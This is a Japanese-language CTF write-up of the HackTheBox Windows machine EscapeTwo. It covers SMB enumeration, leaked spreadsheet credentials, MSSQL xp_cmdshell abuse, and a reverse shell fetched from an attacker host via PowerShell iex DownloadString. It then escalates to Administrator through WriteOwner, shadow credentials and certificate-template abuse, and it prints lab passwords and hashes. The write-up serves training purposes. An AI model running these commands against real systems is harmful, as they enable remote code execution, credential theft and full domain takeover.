> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # EscapeTwo HackTheBox攻略記事 SMB列挙、パスワード情報漏えい（zip、Excelファイル）、MSSQL（Microsoft SQL）の悪用RCE、BloodHund列挙を扱うEscapeTwo HackTheBox Easy Windowsマシンの攻略記事。実 {% embed url="" %} {% hint style="warning" %} **スキル:** * SMB列挙 * 情報漏えいパスワード（zip、Excel ファイル） * MSSQL（Microsoft SQL）の悪用による RCE * BloodHound の列挙 * WriteOwner CA/\_SVC ユーザー（権限昇格） {% endhint %} この Windows 環境のペネトレーションテストでは、以下の認証情報があります: * ユーザー名: `rose` * パスワード: `KxEPkKe6R8su` ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使用して、簡潔な形式で開いているポートを表示し、そこにコピーします `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` クリップボード

Nmapによるポートバージョンスキャン： Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

### ポート 445 - SMB **CrackMapExec でユーザーを検証** 次のことを確認します `rose` ユーザーはドメインコントローラー（DC）上に存在します: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**SMB 共有の調査** 次のコマンドでアクセス可能な共有を一覧表示します `--shares` コマンド: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **結果**：2 つの興味深いフォルダーが表示されます: * `ユーザー` * `Accounting Department`

/*/* smbclient/ で SMB 共有に接続*/* アクセスします **Accounting Department**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` このディレクトリで、2 つの Excel ファイルを回収します: ```powershell accounting_2024.xlsx を取得 accounts.xlsx を取得 ```

**ファイル形式の識別** 次の `ファイル` コマンドにより、これらのファイルは実際には ZIP アーカイブであると判断します。

**ZIP ファイルの展開** 回収したファイルを解凍します:

**機密情報の検索** 抽出したファイルをフィルタリングして、キーワードを含む情報を探します **パスワード**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**結果**：という名前のファイル `shareStrings.xml` ユーザーとパスワードの一覧が含まれています。

名	姓	メールアドレス	ユーザー名	パスワード
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**CrackMapExec で ID をテスト** 回収した認証情報を使用してアカウントを検証します: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **結果**: 使えるのは `oscar` ユーザーは有効です。

## MSSQL（Microsoft SQL）の悪用 **ポート1433（MSSQL）** ポート 1433 が開いており、Microsoft SQL Server が待ち受けていることを示しています。以前回収した別々のユーザーで接続をテストします。

**MSSQL接続テスト** 次を使用します `mssqlclient.py` 接続を試すには: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**結果**：ユーザーのみ `sa` が機能します。 ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### MSSQL経由のリバースシェル **コマンド実行を有効化** システムコマンドを実行するために、を有効化します `xp_cmdshell`: ```sql enable_xp_cmdshell ``` その後、次のような単純なコマンドでテストします `ipconfig`: ```sql xp_cmdshell ipconfig ```

**こちらのマシンで待ち受けの準備** ポート 4444 でリスナーを起動します: ```bash rlwrap nc -nvlp 4444 ``` **PowerShell スクリプトをダウンロード** という PowerShell スクリプトを準備します `PS.ps1` リバースシェルのコマンドを含みます。スクリプトの最後に、次の行を追加します: {% embed url="" %} スクリプトの最後に、次の行を追加します: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` このスクリプトをローカルの Web サーバーでホストします: ```bash python3 -m http.server 80 ``` **リバースシェルの実行** MSSQL サーバーから、次のコマンドを実行して PowerShell スクリプトをダウンロードし実行します: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Ryan ユーザーへのピボット **新しい認証情報を発見** システムを調査すると、という名前のディレクトリが見つかります **SQL2019** ルートにあります。中には次の認証情報があります: * ユーザー名： `ryan` * パスワード: `WqSZAF6CysDQbGb3`

**CrackMapExec で ID を検証** これらの認証情報が有効かどうか確認します: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

共有ディレクトリを調べると、という名前のユーザーを特定します `ryan`。同じ認証情報を、 `sql_svc`:

**結果**：でも使用できます `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-WinRM ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### フラグ user.txt :)

## 権限昇格 ### BloodHound-python の列挙使用したコマンド： ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **観察：**/ その **Ryan** ユーザーは `WriteOwner` での権限を **CA/ SVC** アカウントであり、証明書の発行者でもあります。つまり、アカウント所有者を変更できます **CA/ SVC** 関連付けるために **Ryan**.

### BloodyAD で CA/\_SVC を制御する #### アカウント所有者の変更 {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} このコマンドは BloodyAD を使用して、の所有者を変更します **CA/ SVC** そしてそれを **Ryan**に設定します。 **Ryan** 所有者として、アカウントに関連付けられた権限を変更できるようになります。 ### Dacledit で権限を変更 #### Ryan にフル権限を付与 {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} このコマンドは **DACL** （任意アクセス制御リスト）を **CA/ SVC** アカウントの制御権を完全に与えるために **Ryan**。これにより Ryan はパスワードをリセットしたり、認証キーを操作したりできます。

### シャドウ資格情報の抽出 #### NT ハッシュの生成と取得の出力 {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

の NT ハッシュ **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` その **Certipy** コマンドはの識別キーを生成します **CA/ SVC**、証明書ベースの認証を有効にします。 `.ccache` ファイルも生成され、Kerberos ベースの攻撃を容易にします。 ### 証明書テンプレートの変更 #### DunderMifflinAuthentication テンプレートを調整 {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

このコマンドは **DunderMifflinAuthentication** 高権限の証明書を発行できるようにする証明書テンプレート。 ### 管理者用の証明書を発行 #### なりすまし用の証明書を要求 {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

このコマンドは Administrator を代表する証明書を必要とします（`Administrator@sequel.htb`）、このアカウントになりすますことを可能にします。 ### Administrator として認証 #### 証明書を使用して認証 ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**NTLMv2 ハッシュ：** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

このコマンドは、以前取得した証明書で Administrator として認証し、NTLM ハッシュを取得します。 ### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.